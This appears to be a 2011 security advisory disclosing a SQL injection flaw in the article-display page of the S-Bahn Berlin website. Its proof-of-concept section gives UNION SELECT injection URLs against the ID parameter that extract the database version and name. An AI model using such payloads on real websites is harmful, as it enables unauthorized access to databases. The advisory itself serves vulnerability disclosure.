Document Title:
===============
S Bahn VB Berlin - Remote SQL Injection Vulnerability



Release Date:
=============
2011-08-15


Vulnerability Laboratory ID (VL-ID):
====================================
168


Product & Service Introduction:
===============================
S-Bahn Berlin GmbH - Nahverkehrs-Dienstleister Ein modernes Verkehrsunternehmen für die Region Berlin und Brandenburg.
Durchschnittlich 1,3 Millionen Fahrgäste nutzen täglich die Berliner S-Bahn. Die S-Bahn Berlin GmbH ist 
eine 100-prozentige Tochter der DB Mobility Logistics AG, in der die Mobilitäts- und Logistikaktivitäten 
des DB-Konzerns zusammengefasst wurden. Am 1. Januar 1995 wurde sie als GmbH gegründet und ist seit 2004 
dem Geschäftsfeld DB Stadtverkehr zugeordnet.Die S-Bahn Berlin GmbH ist ein modernes und kundenorientiertes 
Unternehmen, das auf eine lange Tradition zurückblickt. Seit nunmehr fast 84 Jahren ist die Berliner S-Bahn 
integraler Bestandteil des leistungsfähigen Nahverkehrssystems in der Hauptstadtregion.

(Copy of the Vendors Homepage: http://www.s-bahn-berlin.de/)


Abstract Advisory Information:
==============================
An anonymous laboratory researcher discovered a blind SQL Injection vulnerability on the official S-Bahn Verkehrsbetriebe Berlin Website (DB).


Vulnerability Disclosure Timeline:
==================================
2011-08-15:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A SQL Injection Vulnerability is detected on S-Bahn VB Berlin website. An unsecure parameter request allows a 
remote attacker to implement/execute own sql statements via sql-injection.

Vulnerable Module(s):
								[+] artikel_anzeige

Vulnerable Para:		
								[+] ID=



Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

Path:		/aktuell/
File:		artikel_anzeige.php
Para:		?ID=

Pictures:
				../sql1.png


http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34

http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26,27,28,29,database(),31,32,33,34


Solution - Fix & Patch:
=======================
2011-04-30


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory -  N/A Anonymous


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=========================
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